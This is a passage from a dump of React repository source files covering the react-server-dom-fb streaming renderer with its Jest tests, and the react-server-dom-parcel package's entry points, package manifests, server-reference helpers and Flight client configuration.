    "content": "{\n  \"name\": \"react-server-dom-fb\",\n  \"version\": \"0.1.0\",\n  \"private\": true,\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"https://github.com/facebook/react.git\",\n    \"directory\": \"packages/react-server-dom-fb\"\n  },\n  \"dependencies\": {\n    \"scheduler\": \"^0.28.0\"\n  },\n  \"peerDependencies\": {\n    \"react\": \"^18.0.0\",\n    \"react-dom\": \"^18.0.0\"\n  }\n}\n"
  },
  {
    "path": "packages/react-server-dom-fb/src/ReactDOMServerFB.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactNodeList} from 'shared/ReactTypes';\n\nimport type {Request} from 'react-server/src/ReactFizzServer';\n\nimport type {Destination} from 'react-server/src/ReactServerStreamConfig';\nimport type {BootstrapScriptDescriptor} from 'react-dom-bindings/src/server/ReactFizzConfigDOM';\n\nimport {\n  createRequest,\n  startWork,\n  performWork,\n  startFlowing,\n  abort,\n} from 'react-server/src/ReactFizzServer';\n\nimport {\n  createResumableState,\n  createRenderState,\n  createRootFormatContext,\n} from 'react-server/src/ReactFizzConfig';\n\ntype Options = {\n  identifierPrefix?: string,\n  bootstrapScriptContent?: string,\n  bootstrapScripts: Array<string>,\n  bootstrapModules: Array<string>,\n  progressiveChunkSize?: number,\n  onError: (error: mixed) => void,\n  unstable_externalRuntimeSrc?: string | BootstrapScriptDescriptor,\n};\n\nopaque type Stream = {\n  destination: Destination,\n  request: Request,\n};\n\nfunction renderToStream(children: ReactNodeList, options: Options): Stream {\n  const destination = {\n    buffer: '',\n    done: false,\n    fatal: false,\n    error: null,\n  };\n  const resumableState = createResumableState(\n    options ? options.identifierPrefix : undefined,\n    options ? options.unstable_externalRuntimeSrc : undefined,\n    options ? options.bootstrapScriptContent : undefined,\n    options ? options.bootstrapScripts : undefined,\n    options ? options.bootstrapModules : undefined,\n  );\n  const request = createRequest(\n    children,\n    resumableState,\n    createRenderState(\n      resumableState,\n      undefined,\n      options ? options.unstable_externalRuntimeSrc : undefined,\n    ),\n    createRootFormatContext(undefined),\n    options ? options.progressiveChunkSize : undefined,\n    options.onError,\n    undefined,\n    undefined,\n  );\n  startWork(request);\n  if (destination.fatal) {\n    throw destination.error;\n  }\n  return {\n    destination,\n    request,\n  };\n}\n\nfunction abortStream(stream: Stream, reason: mixed): void {\n  abort(stream.request, reason);\n}\n\nfunction renderNextChunk(stream: Stream): string {\n  const {request, destination} = stream;\n  performWork(request);\n  startFlowing(request, destination);\n  if (destination.fatal) {\n    throw destination.error;\n  }\n  const chunk = destination.buffer;\n  destination.buffer = '';\n  return chunk;\n}\n\nfunction hasFinished(stream: Stream): boolean {\n  return stream.destination.done;\n}\n\nfunction debug(stream: Stream): any {\n  // convert to any to silence flow errors from opaque type\n  const request = (stream.request: any);\n  return {\n    pendingRootTasks: request.pendingRootTasks,\n    clientRenderedBoundaries: request.clientRenderedBoundaries.length,\n    completedBoundaries: request.completedBoundaries.length,\n    partialBoundaries: request.partialBoundaries.length,\n    allPendingTasks: request.allPendingTasks,\n    pingedTasks: request.pingedTasks.length,\n  };\n}\n\nexport {renderToStream, renderNextChunk, hasFinished, abortStream, debug};\n"
  },
  {
    "path": "packages/react-server-dom-fb/src/__tests__/ReactDOMServerFB-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOMServer;\nlet Suspense;\n\ndescribe('ReactDOMServerFB', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactDOMServer = require('../ReactDOMServerFB');\n    Suspense = React.Suspense;\n  });\n\n  const theError = new Error('This is an error');\n  function Throw() {\n    throw theError;\n  }\n  const theInfinitePromise = new Promise(() => {});\n  function InfiniteSuspend() {\n    throw theInfinitePromise;\n  }\n\n  function readResult(stream) {\n    let result = '';\n    while (!ReactDOMServer.hasFinished(stream)) {\n      result += ReactDOMServer.renderNextChunk(stream);\n    }\n    return result;\n  }\n\n  it('should be able to render basic HTML', async () => {\n    const stream = ReactDOMServer.renderToStream(<div>hello world</div>, {\n      onError(x) {\n        console.error(x);\n      },\n    });\n    const result = readResult(stream);\n    expect(result).toMatchInlineSnapshot(`\"<div>hello world</div>\"`);\n  });\n\n  it('should emit bootstrap script src at the end', () => {\n    const stream = ReactDOMServer.renderToStream(<div>hello world</div>, {\n      bootstrapScriptContent: 'INIT();',\n      bootstrapScripts: ['init.js'],\n      bootstrapModules: ['init.mjs'],\n      onError(x) {\n        console.error(x);\n      },\n    });\n    const result = readResult(stream);\n    expect(result).toMatchInlineSnapshot(\n      `\"<link rel=\"preload\" as=\"script\" fetchPriority=\"low\" href=\"init.js\"/><link rel=\"modulepreload\" fetchPriority=\"low\" href=\"init.mjs\"/><div>hello world</div><script id=\"_R_\">INIT();</script><script src=\"init.js\" async=\"\"></script><script type=\"module\" src=\"init.mjs\" async=\"\"></script>\"`,\n    );\n  });\n\n  it('emits all HTML as one unit if we wait until the end to start', async () => {\n    let hasLoaded = false;\n    let resolve;\n    const promise = new Promise(r => (resolve = r));\n    function Wait() {\n      if (!hasLoaded) {\n        throw promise;\n      }\n      return 'Done';\n    }\n    const stream = ReactDOMServer.renderToStream(\n      <div>\n        <Suspense fallback=\"Loading\">\n          <Wait />\n        </Suspense>\n      </div>,\n      {\n        onError(x) {\n          console.error(x);\n        },\n      },\n    );\n    await jest.runAllTimers();\n    // Resolve the loading.\n    hasLoaded = true;\n    await resolve();\n\n    await jest.runAllTimers();\n\n    const result = readResult(stream);\n    expect(result).toMatchInlineSnapshot(`\"<div><!--$-->Done<!--/$--></div>\"`);\n  });\n\n  it('should throw an error when an error is thrown at the root', () => {\n    const reportedErrors = [];\n    const stream = ReactDOMServer.renderToStream(\n      <div>\n        <Throw />\n      </div>,\n      {\n        onError(x) {\n          reportedErrors.push(x);\n        },\n      },\n    );\n\n    let caughtError = null;\n    let result = '';\n    try {\n      result = readResult(stream);\n    } catch (x) {\n      caughtError = x;\n    }\n    expect(caughtError).toBe(theError);\n    expect(result).toBe('');\n    expect(reportedErrors).toEqual([theError]);\n  });\n\n  it('should throw an error when an error is thrown inside a fallback', () => {\n    const reportedErrors = [];\n    const stream = ReactDOMServer.renderToStream(\n      <div>\n        <Suspense fallback={<Throw />}>\n          <InfiniteSuspend />\n        </Suspense>\n      </div>,\n      {\n        onError(x) {\n          reportedErrors.push(x);\n        },\n      },\n    );\n\n    let caughtError = null;\n    let result = '';\n    try {\n      result = readResult(stream);\n    } catch (x) {\n      caughtError = x;\n    }\n    expect(caughtError).toBe(theError);\n    expect(result).toBe('');\n    expect(reportedErrors).toEqual([theError]);\n  });\n\n  it('should not throw an error when an error is thrown inside suspense boundary', async () => {\n    const reportedErrors = [];\n    const stream = ReactDOMServer.renderToStream(\n      <div>\n        <Suspense fallback={<div>Loading</div>}>\n          <Throw />\n        </Suspense>\n      </div>,\n      {\n        onError(x) {\n          reportedErrors.push(x);\n        },\n      },\n    );\n\n    const result = readResult(stream);\n    expect(result).toContain('Loading');\n    expect(reportedErrors).toEqual([theError]);\n  });\n\n  it('should be able to complete by aborting even if the promise never resolves', () => {\n    const errors = [];\n    const stream = ReactDOMServer.renderToStream(\n      <div>\n        <Suspense fallback={<div>Loading</div>}>\n          <InfiniteSuspend />\n        </Suspense>\n      </div>,\n      {\n        onError(x) {\n          errors.push(x.message);\n        },\n      },\n    );\n\n    const partial = ReactDOMServer.renderNextChunk(stream);\n    expect(partial).toContain('Loading');\n\n    ReactDOMServer.abortStream(stream);\n\n    const remaining = readResult(stream);\n    expect(remaining).toEqual('');\n\n    expect(errors).toEqual([\n      'The render was aborted by the server without a reason.',\n    ]);\n  });\n\n  it('should allow setting an abort reason', () => {\n    const errors = [];\n    const stream = ReactDOMServer.renderToStream(\n      <div>\n        <Suspense fallback={<div>Loading</div>}>\n          <InfiniteSuspend />\n        </Suspense>\n      </div>,\n      {\n        onError(error) {\n          errors.push(error);\n        },\n      },\n    );\n    ReactDOMServer.abortStream(stream, theError);\n    expect(errors).toEqual([theError]);\n  });\n});\n"
  },
  {
    "path": "packages/react-server-dom-parcel/README.md",
    "content": "# react-server-dom-parcel\n\nExperimental React Flight bindings for DOM using Parcel.\n\n**Use it at your own risk.**\n"
  },
  {
    "path": "packages/react-server-dom-parcel/client.browser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './src/client/react-flight-dom-client.browser';\n"
  },
  {
    "path": "packages/react-server-dom-parcel/client.edge.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './src/client/react-flight-dom-client.edge';\n"
  },
  {
    "path": "packages/react-server-dom-parcel/client.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './client.browser';\n"
  },
  {
    "path": "packages/react-server-dom-parcel/client.node.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './src/client/react-flight-dom-client.node';\n"
  },
  {
    "path": "packages/react-server-dom-parcel/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nthrow new Error('Use react-server-dom-parcel/client instead.');\n"
  },
  {
    "path": "packages/react-server-dom-parcel/npm/client.browser.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-server-dom-parcel-client.browser.production.js');\n} else {\n  module.exports = require('./cjs/react-server-dom-parcel-client.browser.development.js');\n}\n"
  },
  {
    "path": "packages/react-server-dom-parcel/npm/client.edge.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-server-dom-parcel-client.edge.production.js');\n} else {\n  module.exports = require('./cjs/react-server-dom-parcel-client.edge.development.js');\n}\n"
  },
  {
    "path": "packages/react-server-dom-parcel/npm/client.js",
    "content": "'use strict';\n\nmodule.exports = require('./client.browser');\n"
  },
  {
    "path": "packages/react-server-dom-parcel/npm/client.node.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-server-dom-parcel-client.node.production.js');\n} else {\n  module.exports = require('./cjs/react-server-dom-parcel-client.node.development.js');\n}\n"
  },
  {
    "path": "packages/react-server-dom-parcel/npm/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n'use strict';\n\nthrow new Error('Use react-server-dom-parcel/client instead.');\n"
  },
  {
    "path": "packages/react-server-dom-parcel/npm/server.browser.js",
    "content": "'use strict';\n\nvar s;\nif (process.env.NODE_ENV === 'production') {\n  s = require('./cjs/react-server-dom-parcel-server.browser.production.js');\n} else {\n  s = require('./cjs/react-server-dom-parcel-server.browser.development.js');\n}\n\nexports.renderToReadableStream = s.renderToReadableStream;\nexports.decodeReply = s.decodeReply;\nexports.decodeAction = s.decodeAction;\nexports.decodeFormState = s.decodeFormState;\nexports.createClientReference = s.createClientReference;\nexports.registerServerReference = s.registerServerReference;\nexports.createTemporaryReferenceSet = s.createTemporaryReferenceSet;\nexports.registerServerActions = s.registerServerActions;\nexports.loadServerAction = s.loadServerAction;\n"
  },
  {
    "path": "packages/react-server-dom-parcel/npm/server.edge.js",
    "content": "'use strict';\n\nvar s;\nif (process.env.NODE_ENV === 'production') {\n  s = require('./cjs/react-server-dom-parcel-server.edge.production.js');\n} else {\n  s = require('./cjs/react-server-dom-parcel-server.edge.development.js');\n}\n\nexports.renderToReadableStream = s.renderToReadableStream;\nexports.decodeReply = s.decodeReply;\nexports.decodeReplyFromAsyncIterable = s.decodeReplyFromAsyncIterable;\nexports.decodeAction = s.decodeAction;\nexports.decodeFormState = s.decodeFormState;\nexports.createClientReference = s.createClientReference;\nexports.registerServerReference = s.registerServerReference;\nexports.createTemporaryReferenceSet = s.createTemporaryReferenceSet;\nexports.registerServerActions = s.registerServerActions;\nexports.loadServerAction = s.loadServerAction;\n"
  },
  {
    "path": "packages/react-server-dom-parcel/npm/server.js",
    "content": "'use strict';\n\nthrow new Error(\n  'The React Server Writer cannot be used outside a react-server environment. ' +\n    'You must configure Node.js using the `--conditions react-server` flag.'\n);\n"
  },
  {
    "path": "packages/react-server-dom-parcel/npm/server.node.js",
    "content": "'use strict';\n\nvar s;\nif (process.env.NODE_ENV === 'production') {\n  s = require('./cjs/react-server-dom-parcel-server.node.production.js');\n} else {\n  s = require('./cjs/react-server-dom-parcel-server.node.development.js');\n}\n\nexports.renderToReadableStream = s.renderToReadableStream;\nexports.renderToPipeableStream = s.renderToPipeableStream;\nexports.decodeReply = s.decodeReply;\nexports.decodeReplyFromBusboy = s.decodeReplyFromBusboy;\nexports.decodeReplyFromAsyncIterable = s.decodeReplyFromAsyncIterable;\nexports.decodeAction = s.decodeAction;\nexports.decodeFormState = s.decodeFormState;\nexports.createClientReference = s.createClientReference;\nexports.registerServerReference = s.registerServerReference;\nexports.createTemporaryReferenceSet = s.createTemporaryReferenceSet;\nexports.registerServerActions = s.registerServerActions;\nexports.loadServerAction = s.loadServerAction;\n"
  },
  {
    "path": "packages/react-server-dom-parcel/npm/static.browser.js",
    "content": "'use strict';\n\nvar s;\nif (process.env.NODE_ENV === 'production') {\n  s = require('./cjs/react-server-dom-parcel-server.browser.production.js');\n} else {\n  s = require('./cjs/react-server-dom-parcel-server.browser.development.js');\n}\n\nexports.prerender = s.prerender;\n"
  },
  {
    "path": "packages/react-server-dom-parcel/npm/static.edge.js",
    "content": "'use strict';\n\nvar s;\nif (process.env.NODE_ENV === 'production') {\n  s = require('./cjs/react-server-dom-parcel-server.edge.production.js');\n} else {\n  s = require('./cjs/react-server-dom-parcel-server.edge.development.js');\n}\n\nexports.prerender = s.prerender;\n"
  },
  {
    "path": "packages/react-server-dom-parcel/npm/static.js",
    "content": "'use strict';\n\nthrow new Error(\n  'The React Server Writer cannot be used outside a react-server environment. ' +\n    'You must configure Node.js using the `--conditions react-server` flag.'\n);\n"
  },
  {
    "path": "packages/react-server-dom-parcel/npm/static.node.js",
    "content": "'use strict';\n\nvar s;\nif (process.env.NODE_ENV === 'production') {\n  s = require('./cjs/react-server-dom-parcel-server.node.production.js');\n} else {\n  s = require('./cjs/react-server-dom-parcel-server.node.development.js');\n}\n\nexports.prerender = s.prerender;\nexports.prerenderToNodeStream = s.prerenderToNodeStream;\n"
  },
  {
    "path": "packages/react-server-dom-parcel/package.json",
    "content": "{\n  \"name\": \"react-server-dom-parcel\",\n  \"description\": \"React Server Components bindings for DOM using Parcel. This is intended to be integrated into meta-frameworks. It is not intended to be imported directly.\",\n  \"version\": \"19.3.0\",\n  \"keywords\": [\n    \"react\"\n  ],\n  \"homepage\": \"https://reactjs.org/\",\n  \"bugs\": \"https://github.com/facebook/react/issues\",\n  \"license\": \"MIT\",\n  \"files\": [\n    \"LICENSE\",\n    \"README.md\",\n    \"index.js\",\n    \"client.js\",\n    \"client.browser.js\",\n    \"client.edge.js\",\n    \"client.node.js\",\n    \"server.js\",\n    \"server.browser.js\",\n    \"server.edge.js\",\n    \"server.node.js\",\n    \"static.js\",\n    \"static.browser.js\",\n    \"static.edge.js\",\n    \"static.node.js\",\n    \"cjs/\"\n  ],\n  \"exports\": {\n    \".\": \"./index.js\",\n    \"./client\": {\n      \"workerd\": \"./client.edge.js\",\n      \"deno\": \"./client.edge.js\",\n      \"worker\": \"./client.edge.js\",\n      \"node\": \"./client.node.js\",\n      \"edge-light\": \"./client.edge.js\",\n      \"browser\": \"./client.browser.js\",\n      \"default\": \"./client.browser.js\"\n    },\n    \"./client.browser\": \"./client.browser.js\",\n    \"./client.edge\": \"./client.edge.js\",\n    \"./client.node\": \"./client.node.js\",\n    \"./server\": {\n      \"react-server\": {\n        \"workerd\": \"./server.edge.js\",\n        \"deno\": \"./server.browser.js\",\n        \"node\": \"./server.node.js\",\n        \"edge-light\": \"./server.edge.js\",\n        \"browser\": \"./server.browser.js\"\n      },\n      \"default\": \"./server.js\"\n    },\n    \"./server.browser\": \"./server.browser.js\",\n    \"./server.edge\": \"./server.edge.js\",\n    \"./server.node\": \"./server.node.js\",\n    \"./static\": {\n      \"react-server\": {\n        \"workerd\": \"./static.edge.js\",\n        \"deno\": \"./static.browser.js\",\n        \"node\": \"./static.node.js\",\n        \"edge-light\": \"./static.edge.js\",\n        \"browser\": \"./static.browser.js\"\n      },\n      \"default\": \"./static.js\"\n    },\n    \"./static.browser\": \"./static.browser.js\",\n    \"./static.edge\": \"./static.edge.js\",\n    \"./static.node\": \"./static.node.js\",\n    \"./src/*\": \"./src/*.js\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"main\": \"index.js\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"https://github.com/facebook/react.git\",\n    \"directory\": \"packages/react-server-dom-parcel\"\n  },\n  \"engines\": {\n    \"node\": \">=0.10.0\"\n  },\n  \"peerDependencies\": {\n    \"react\": \"^19.3.0\",\n    \"react-dom\": \"^19.3.0\"\n  }\n}\n"
  },
  {
    "path": "packages/react-server-dom-parcel/server.browser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {\n  renderToReadableStream,\n  decodeReply,\n  decodeAction,\n  decodeFormState,\n  createClientReference,\n  registerServerReference,\n  createTemporaryReferenceSet,\n  registerServerActions,\n  loadServerAction,\n} from './src/server/react-flight-dom-server.browser';\n"
  },
  {
    "path": "packages/react-server-dom-parcel/server.edge.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {\n  renderToReadableStream,\n  decodeReply,\n  decodeReplyFromAsyncIterable,\n  decodeAction,\n  decodeFormState,\n  createClientReference,\n  registerServerReference,\n  createTemporaryReferenceSet,\n  registerServerActions,\n  loadServerAction,\n} from './src/server/react-flight-dom-server.edge';\n"
  },
  {
    "path": "packages/react-server-dom-parcel/server.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nthrow new Error(\n  'The React Server cannot be used outside a react-server environment. ' +\n    'You must configure Node.js using the `--conditions react-server` flag.',\n);\n"
  },
  {
    "path": "packages/react-server-dom-parcel/server.node.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {\n  renderToPipeableStream,\n  renderToReadableStream,\n  decodeReply,\n  decodeReplyFromBusboy,\n  decodeReplyFromAsyncIterable,\n  decodeAction,\n  decodeFormState,\n  createClientReference,\n  registerServerReference,\n  createTemporaryReferenceSet,\n  registerServerActions,\n  loadServerAction,\n} from './src/server/react-flight-dom-server.node';\n"
  },
  {
    "path": "packages/react-server-dom-parcel/src/ReactFlightParcelReferences.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactClientValue} from 'react-server/src/ReactFlightServer';\n\nexport type ServerReference<T: Function> = T & {\n  $$typeof: symbol,\n  $$id: string,\n  $$bound: null | Array<ReactClientValue>,\n  $$location?: Error,\n};\n\n// eslint-disable-next-line no-unused-vars\nexport type ClientReference<T> = {\n  $$typeof: symbol,\n  $$id: string,\n  $$name: string,\n  $$bundles: Array<string>,\n  $$importMap?: ?{[string]: string},\n};\n\nconst CLIENT_REFERENCE_TAG = Symbol.for('react.client.reference');\nconst SERVER_REFERENCE_TAG = Symbol.for('react.server.reference');\n\nexport function isClientReference(reference: Object): boolean {\n  return reference.$$typeof === CLIENT_REFERENCE_TAG;\n}\n\nexport function isServerReference(reference: Object): boolean {\n  return reference.$$typeof === SERVER_REFERENCE_TAG;\n}\n\nexport function createClientReference<T>(\n  id: string,\n  exportName: string,\n  bundles: Array<string>,\n  importMap?: ?{[string]: string},\n): ClientReference<T> {\n  return {\n    $$typeof: CLIENT_REFERENCE_TAG,\n    $$id: id,\n    $$name: exportName,\n    $$bundles: bundles,\n    $$importMap: importMap,\n  };\n}\n\n// $FlowFixMe[method-unbinding]\nconst FunctionBind = Function.prototype.bind;\n// $FlowFixMe[method-unbinding]\nconst ArraySlice = Array.prototype.slice;\nfunction bind(this: ServerReference<any>): any {\n  // $FlowFixMe[incompatible-call]\n  const newFn = FunctionBind.apply(this, arguments);\n  if (this.$$typeof === SERVER_REFERENCE_TAG) {\n    if (__DEV__) {\n      const thisBind = arguments[0];\n      if (thisBind != null) {\n        console.error(\n          'Cannot bind \"this\" of a Server Action. Pass null or undefined as the first argument to .bind().',\n        );\n      }\n    }\n    const args = ArraySlice.call(arguments, 1);\n    const $$typeof = {value: SERVER_REFERENCE_TAG};\n    const $$id = {value: this.$$id};\n    const $$bound = {value: this.$$bound ? this.$$bound.concat(args) : args};\n    return Object.defineProperties(\n      (newFn: any),\n      (__DEV__\n        ? {\n            $$typeof,\n            $$id,\n            $$bound,\n            $$location: {\n              value: this.$$location,\n              configurable: true,\n            },\n            bind: {value: bind, configurable: true},\n          }\n        : {\n            $$typeof,\n            $$id,\n            $$bound,\n            bind: {value: bind, configurable: true},\n          }) as PropertyDescriptorMap,\n    );\n  }\n  return newFn;\n}\n\nconst serverReferenceToString = {\n  value: () => 'function () { [omitted code] }',\n  configurable: true,\n  writable: true,\n};\n\nexport function registerServerReference<T>(\n  reference: ServerReference<T>,\n  id: string,\n  exportName: string,\n): ServerReference<T> {\n  const $$typeof = {value: SERVER_REFERENCE_TAG};\n  const $$id = {\n    value: id + '#' + exportName,\n    configurable: true,\n  };\n  const $$bound = {value: null, configurable: true};\n  return Object.defineProperties(\n    (reference: any),\n    (__DEV__\n      ? {\n          $$typeof,\n          $$id,\n          $$bound,\n          $$location: {\n            value: Error('react-stack-top-frame'),\n            configurable: true,\n          },\n          bind: {value: bind, configurable: true},\n          toString: serverReferenceToString,\n        }\n      : {\n          $$typeof,\n          $$id,\n          $$bound,\n          bind: {value: bind, configurable: true},\n          toString: serverReferenceToString,\n        }) as PropertyDescriptorMap,\n  );\n}\n"
  },
  {
    "path": "packages/react-server-dom-parcel/src/client/ReactFlightClientConfigBundlerParcel.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Thenable, ReactDebugInfo} from 'shared/ReactTypes';\n\nimport type {ImportMetadata} from '../shared/ReactFlightImportMetadata';\n\nimport {\n  ID,\n  NAME,\n  BUNDLES,\n  IMPORT_MAP,\n} from '../shared/ReactFlightImportMetadata';\nimport {prepareDestinationWithChunks} from 'react-client/src/ReactFlightClientConfig';\n\nimport hasOwnProperty from 'shared/hasOwnProperty';\n\nexport type ServerManifest = {\n  [string]: Array<string>,\n};\nexport type SSRModuleMap = null;\nexport type ModuleLoading = null;\nexport type ServerConsumerModuleMap = null;\nexport type ServerReferenceId = string;\n\nexport opaque type ClientReferenceMetadata = ImportMetadata;\n\n// eslint-disable-next-line no-unused-vars\nexport opaque type ClientReference<T> = ImportMetadata;\n\nexport function prepareDestinationForModule(\n  moduleLoading: ModuleLoading,\n  nonce: ?string,\n  metadata: ClientReferenceMetadata,\n) {\n  prepareDestinationWithChunks(moduleLoading, metadata[BUNDLES], nonce);\n}\n\nexport function resolveClientReference<T>(\n  bundlerConfig: null,\n  metadata: ClientReferenceMetadata,\n): ClientReference<T> {\n  // Reference is already resolved during the build.\n  return metadata;\n}\n\nexport function resolveServerReference<T>(\n  bundlerConfig: ServerManifest,\n  ref: ServerReferenceId,\n): ClientReference<T> {\n  const idx = ref.lastIndexOf('#');\n  const id = ref.slice(0, idx);\n  const name = ref.slice(idx + 1);\n  const bundles = bundlerConfig[id];\n  if (!bundles) {\n    throw new Error('Invalid server action: ' + ref);\n  }\n  return [id, name, bundles];\n}\n\nexport function preloadModule<T>(\n  metadata: ClientReference<T>,\n): null | Thenable<any> {\n  if (metadata[IMPORT_MAP]) {\n    parcelRequire.extendImportMap(metadata[IMPORT_MAP]);\n  }\n\n  if (metadata[BUNDLES].length === 0) {\n    return null;\n  }\n\n  return Promise.all(metadata[BUNDLES].map(url => parcelRequire.load(url)));\n}\n\nexport function requireModule<T>(metadata: ClientReference<T>): T {\n  const moduleExports = parcelRequire(metadata[ID]);\n  if (hasOwnProperty.call(moduleExports, metadata[NAME])) {\n    return moduleExports[metadata[NAME]];\n  }\n  return (undefined: any);\n}\n\nexport function getModuleDebugInfo<T>(\n  metadata: ClientReference<T>,\n): null | ReactDebugInfo {\n  // TODO\n  return null;\n}\n"
  },
  {
    "path": "packages/react-server-dom-parcel/src/client/ReactFlightClientConfigTargetParcelBrowser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ModuleLoading} from './ReactFlightClientConfigBundlerParcel';\n\nexport function prepareDestinationWithChunks(\n  moduleLoading: ModuleLoading,\n  bundles: Array<string>,\n  nonce: ?string,\n) {\n  // In the browser we don't need to prepare our destination since the browser is the Destination\n}\n"
  },
  {
    "path": "packages/react-server-dom-parcel/src/client/ReactFlightClientConfigTargetParcelServer.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ModuleLoading} from './ReactFlightClientConfigBundlerParcel';\nimport {preinitModuleForSSR} from 'react-client/src/ReactFlightClientConfig';\n\nexport function prepareDestinationWithChunks(\n  moduleLoading: ModuleLoading,\n  bundles: Array<string>,\n  nonce: ?string,\n) {\n  for (let i = 0; i < bundles.length; i++) {\n    preinitModuleForSSR(parcelRequire.meta.publicUrl + bundles[i], nonce);\n  }\n}\n"
  },
  {
    "path": "packages/react-server-dom-parcel/src/client/ReactFlightDOMClientBrowser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Thenable} from 'shared/ReactTypes.js';\nimport type {\n  DebugChannel,\n  DebugChannelCallback,\n  Response as FlightResponse,\n} from 'react-client/src/ReactFlightClient';\nimport type {ReactServerValue} from 'react-client/src/ReactFlightReplyClient';\nimport type {ServerReferenceId} from '../client/ReactFlightClientConfigBundlerParcel';\n\nimport {\n  createResponse,\n  createStreamState,\n  getRoot,\n  reportGlobalError,\n  processBinaryChunk,\n  processStringChunk,\n  close,\n  injectIntoDevTools,\n} from 'react-client/src/ReactFlightClient';\n\nimport {\n  processReply,\n  createServerReference as createServerReferenceImpl,\n} from 'react-client/src/ReactFlightReplyClient';\n\nexport {registerServerReference} from 'react-client/src/ReactFlightReplyClient';\n\nimport type {TemporaryReferenceSet} from 'react-client/src/ReactFlightTemporaryReferences';\n\nexport {createTemporaryReferenceSet} from 'react-client/src/ReactFlightTemporaryReferences';\nexport type {TemporaryReferenceSet};\n\nfunction findSourceMapURL(filename: string, environmentName: string) {\n  const devServer = parcelRequire.meta.devServer;\n  if (devServer != null) {\n    const qs = new URLSearchParams();\n    qs.set('filename', filename);\n    qs.set('env', environmentName);\n    return devServer + '/__parcel_source_map?' + qs.toString();\n  }\n  return null;\n}\n\ntype CallServerCallback = <A, T>(id: string, args: A) => Promise<T>;\n\nlet callServer: CallServerCallback | null = null;\nexport function setServerCallback(fn: CallServerCallback) {\n  callServer = fn;\n}\n\nfunction callCurrentServerCallback<A, T>(\n  id: ServerReferenceId,\n  args: A,\n): Promise<T> {\n  if (!callServer) {\n    throw new Error(\n      'No server callback has been registered. Call setServerCallback to register one.',\n    );\n  }\n  return callServer(id, args);\n}\n\nexport function createServerReference<A: Iterable<any>, T>(\n  id: string,\n  exportName: string,\n): (...A) => Promise<T> {\n  return createServerReferenceImpl(\n    id + '#' + exportName,\n    callCurrentServerCallback,\n    undefined,\n    findSourceMapURL,\n    exportName,\n  );\n}\n\nfunction createDebugCallbackFromWritableStream(\n  debugWritable: WritableStream,\n): DebugChannelCallback {\n  const textEncoder = new TextEncoder();\n  const writer = debugWritable.getWriter();\n  return message => {\n    if (message === '') {\n      writer.close();\n    } else {\n      // Note: It's important that this function doesn't close over the Response object or it can't be GC:ed.\n      // Therefore, we can't report errors from this write back to the Response object.\n      if (__DEV__) {\n        writer.write(textEncoder.encode(message + '\\n')).catch(console.error);\n      }\n    }\n  };\n}\n\nfunction createResponseFromOptions(options: void | Options) {\n  const debugChannel: void | 